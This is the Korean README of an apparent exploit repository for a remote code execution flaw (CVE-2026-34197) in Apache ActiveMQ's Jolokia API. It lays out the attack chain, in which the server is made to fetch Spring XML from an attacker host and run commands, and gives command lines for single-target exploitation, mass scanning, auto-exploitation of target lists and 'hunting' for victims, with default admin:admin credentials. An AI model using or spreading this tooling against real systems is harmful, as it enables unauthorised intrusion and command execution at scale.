Apache ActiveMQ의 Jolokia API를 통한 RCE 취약점(CVE-2026-34197) 익스플로잇으로, 명령 출력 캡처, 대량 스캔, 자동 익스플로잇 기능을 제공합니다.
개요 • 세부 정보 • 공격 흐름 • 빠른 시작 • ATTACKER_IP 가이드 • 사용법 • 출력 캡처 • 스캐너 • 헌팅 • 탐지 • 조치
CVE-2026-34197은 Apache ActiveMQ Classic의 치명적인 원격 코드 실행(RCE) 취약점으로, 인증된 공격자가 웹 콘솔에 노출된 Jolokia API를 통해 임의의 운영 체제 명령을 실행할 수 있게 합니다.
이 취약점은 13년 이상 존재해 왔으며, Jolokia(HTTP-JMX 브리지), ActiveMQ MBeans, 네트워크 커넥터 및 VM 전송 간의 상호 작용에서 발생합니다.
[!CAUTION] 이는 KONDOR DEV SECURITY가 개발한 최초의 공개 PoC입니다. 승인된 보안 평가에서만 사용하십시오.
id, whoami, cat /etc/passwd)의 출력이 터미널에 자동으로 표시됩니다version_check.py) — 멀티스레드 버전 탐지 + 타겟 공격| CVE ID | CVE-2026-34197 |
| 심각도 | |
| 유형 | 원격 코드 실행(RCE) |
| CWE | CWE-20(부적절한 입력 검증) / CWE-94(코드 주입) |
| 영향 범위 | ActiveMQ Classic < 5.19.4 및 6.0.0 — 6.2.2 |
| 패치 버전 | 5.19.4 / 6.2.3 |
| 인증 필요 | 예(기본 자격 증명 admin:admin이 일반적임) |
| 무인증 가능 | 6.0.0 — 6.1.1(CVE-2024-32114로 인해) |
| 기본 포트 | 8161(웹 콘솔) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### 단계별 분석
| 단계 | 동작 | 구성 요소 |
|:----:|--------|-----------|
| **1** | 공격자가 `/api/jolokia/`에 POST를 전송하여 Broker MBean에서 `addNetworkConnector`를 호출 | Jolokia API |
| **2** | ActiveMQ가 `vm://` 전송 URI를 처리하고 `brokerConfig`가 원격 URL을 가리키는 임시 브로커를 생성 | VM 전송 |
| **3** | `xbean:` 스킴이 공격자 서버에서 Spring XML 구성 파일 다운로드를 트리거 | Spring / XBean |
| **4** | Spring이 XML의 모든 빈을 인스턴스화하며, 그중 하나가 `Runtime.getRuntime().exec()`를 호출 | Spring 컨텍스트 |
| **5** | 간단한 명령의 경우 출력이 캡처되어 HTTP POST를 통해 공격자의 리스너로 자동 전송 | 출력 캡처 |
---
## 프로젝트 구조```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### Lab 환경 (Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### 스캐너 + 자동 익스플로잇 (대량 타깃에 권장)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP(-l / --lhost) 이해하기-l(또는 --lhost) 매개변수는 익스플로잇이 작동하는 데 중요합니다. 이는 악성 Spring XML 페이로드를 제공할 머신의 IP 주소를 지정합니다. 대상 ActiveMQ 서버는 페이로드를 다운로드하기 위해 네트워크를 통해 이 IP에 도달할 수 있어야 합니다.
ATTACKER_IP란 무엇인가?